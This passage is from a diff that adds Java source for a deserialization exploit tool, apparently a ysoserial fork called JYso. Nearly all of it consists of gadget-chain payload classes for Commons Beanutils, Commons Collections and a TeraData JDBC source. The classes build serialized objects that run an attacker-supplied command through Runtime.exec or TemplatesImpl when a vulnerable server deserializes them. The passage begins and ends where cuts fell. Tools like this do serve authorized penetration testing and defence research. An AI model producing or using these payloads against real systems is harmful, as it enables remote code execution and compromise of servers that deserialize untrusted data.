Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
queue.add(attrNS1);
queue.add(attrNS1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,39 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.teradata.jdbc.TeraDataSource;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({Authors.QI4L})
public class CommonsBeanutilsJDBC implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
if (!command.toLowerCase().startsWith("jdbc:")) {
throw new Exception("Command format is: eviljdbcurl");
}
TeraDataSource dataSource = new TeraDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "connection");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = dataSource;
queueArray[1] = dataSource;
return queue;
}
}
@@ -0,0 +1,35 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"})
@Authors({"水滴"})
public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(stringComparator);
queue.add(stringComparator);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,50 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import java.util.Comparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"})
@Authors({"SummerSec"})
public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
ctBeanComparator.defrost();
Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator());
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
queue.add(stringComparator);
queue.add(stringComparator);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,40 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.logging.log4j.util.PropertySource;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
@Authors({"SummerSec"})
public class CommonsBeanutilsPropertySource implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
PropertySource propertySource1 = new PropertySource() {
@Override
public int getPriority() {
return 0;
}
};
BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(propertySource1);
queue.add(propertySource1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,56 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import org.apache.logging.log4j.util.PropertySource;
import java.util.Comparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
@Authors({"SummerSec"})
public class CommonsBeanutilsPropertySource183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
PropertySource propertySource1 = new PropertySource() {
@Override
public int getPriority() {
return 0;
}
};
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
ctBeanComparator.defrost();
Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
queue.add(propertySource1);
queue.add(propertySource1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,62 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* AnnotationInvocationHandler.readObject()
* Map(Proxy).entrySet()
* AnnotationInvocationHandler.invoke()
* LazyMap.get()
* ChainedTransformer.transform()
* ConstantTransformer.transform()
* InvokerTransformer.transform()
* Method.invoke()
* Class.getMethod()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.getRuntime()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.exec()
* <p>
* Requires:
* commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.FROHOFF})
public class CommonsCollections1 implements ObjectPayload<InvocationHandler> {
@Override
public InvocationHandler getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化
return handler;
}
}
@@ -0,0 +1,44 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
public class CommonsCollections10 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
// 使用 InstantiateFactory 代替 InstantiateTransformer
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
// 先放一个无关键要的 Transformer
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
Map expMap = new HashMap();
expMap.put(tme, "QI5L");
Reflections.setFieldValue(outerMap, "factory", factoryTransformer);
outerMap.remove("QI4L");
return expMap;
}
}
@@ -0,0 +1,37 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* RMIConnector 二次反序列化
* 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer
* 直接传入 Base64 编码的序列化数据即可
*/
public class CommonsCollections11 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "QI4L");
lazyMap.remove(templates);
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
return expMap;
}
}
@@ -0,0 +1,31 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.DefaultedMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
public class CommonsCollections12 implements ObjectPayload<Hashtable> {
@Override
public Hashtable getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers);
DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers);
defaultedMap1.put("yy", 1);
defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 1);
defaultedMap2.remove("yy");
return hashtable;
}
}
@@ -0,0 +1,42 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
@Authors({Authors.Jayl1n})
public class CommonsCollections13 implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Map innerMap = new HashMap();
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
// arm with actual transformer chain
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return val;
}
}
@@ -0,0 +1,34 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.Unam4})
public class CommonsCollections14 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry);
Reflections.setFieldValue(decorate, "factory",transformerChain );
Reflections.setFieldValue(tiedMapEntry, "key",233);
return hashMap;
}
}
@@ -0,0 +1,34 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.Unam4})
public class CommonsCollections15 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
Hashtable hashtable = Gadgets.makeTableTstring(tiedMapEntry);
Reflections.setFieldValue(decorate, "factory",transformerChain );
Reflections.setFieldValue(tiedMapEntry, "key",233);
return hashtable;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1","jdk:jdk<=8u70"})
@Authors({Authors.Unam4})
public class CommonsCollections16 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
HashMap<Object, Object> map1 = new HashMap<>();
map1.put("value",tiedMapEntry);
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
Anotationdeclared.setAccessible(true);
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1);
Reflections.setFieldValue(decorate, "factory",transformerChain );
Reflections.setFieldValue(tiedMapEntry, "key",233);
return h;
}
}
@@ -0,0 +1,33 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
import java.util.Queue;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({Authors.FROHOFF})
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(1);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
return queue;
}
}
@@ -0,0 +1,59 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/**
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.FROHOFF})
public class CommonsCollections3 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
public Object getObject(String command) throws Exception {
final Object templatesImpl;
templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
}
@@ -0,0 +1,58 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
import java.util.Queue;
/**
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({Authors.FROHOFF})
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[]{String.class};
Object[] args = new Object[]{Utils.generateRandomString(4)};
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate});
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
}
@@ -0,0 +1,65 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* BadAttributeValueExpException.readObject()
* TiedMapEntry.toString()
* LazyMap.get()
* ChainedTransformer.transform()
* ConstantTransformer.transform()
* InvokerTransformer.transform()
* Method.invoke()
* Class.getMethod()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.getRuntime()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.exec()
* <p>
* Requires:
* commons-collections
*/
@SuppressWarnings({"rawtypes", "unused"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.MATTHIASKAISER, Authors.JASINNER})
public class CommonsCollections5 implements ObjectPayload<BadAttributeValueExpException> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public BadAttributeValueExpException getObject(String command) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
}
@@ -0,0 +1,87 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gadget chain:
* java.io.ObjectInputStream.readObject()
* java.util.HashSet.readObject()
* java.util.HashMap.put()
* java.util.HashMap.hash()
* org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
* org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
* org.apache.commons.collections.map.LazyMap.get()
* org.apache.commons.collections.functors.ChainedTransformer.transform()
* org.apache.commons.collections.functors.InvokerTransformer.transform()
* java.lang.reflect.Method.invoke()
* java.lang.Runtime.exec()
* <p>
* by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.MATTHIASKAISER})
public class CommonsCollections6 implements ObjectPayload<Serializable> {
public Serializable getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
HashSet map = new HashSet(1);
map.add("QI4L");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
@@ -0,0 +1,49 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
public class CommonsCollections7 implements ObjectPayload<Hashtable> {
public Hashtable getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
}
@@ -0,0 +1,31 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.Comparator;
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({"navalorenzo"})
public class CommonsCollections8 implements ObjectPayload<TreeBag> {
